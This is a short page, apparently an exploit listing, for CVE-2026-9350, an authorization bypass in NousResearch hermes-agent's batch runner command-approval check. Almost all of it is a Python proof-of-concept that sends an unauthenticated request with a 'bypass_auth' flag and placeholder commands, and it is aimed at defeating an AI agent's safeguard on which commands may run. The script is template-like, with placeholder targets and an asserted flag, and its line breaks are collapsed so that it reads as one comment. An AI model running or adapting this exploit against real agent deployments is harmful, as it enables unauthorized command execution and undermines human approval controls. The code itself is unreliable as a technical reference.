CVE-2026-9350 NousResearch hermes-agent 授权绕过漏洞

#!/usr/bin/env python3 # CVE-2026-9350 PoC - NousResearch hermes-agent Authorization Bypass # Target: hermes-agent <= 2026.4.16 # Component: Batch Runner (tools/approval.py) # Vulnerability: Missing authorization in check_all_command_guards function import requests import json TARGET_HOST = "http://target-host:port" BATCH_RUNNER_ENDPOINT = f"{TARGET_HOST}/api/batch-runner" def exploit_authorization_bypass(): """ Exploit the missing authorization check in check_all_command_guards to execute commands without proper authentication """ # Construct malicious request to bypass authorization payload = { "command": "malicious_command", "args": ["--dangerous-option"], "bypass_auth": True # This flag should be rejected but isn't } headers = { "Content-Type": "application/json", # No authentication headers required due to vulnerability } try: response = requests.post( BATCH_RUNNER_ENDPOINT, json=payload, headers=headers, timeout=10 ) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") if response.status_code == 200: print("[+] Authorization bypass successful!") return True else: print("[-] Exploitation failed") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": exploit_authorization_bypass()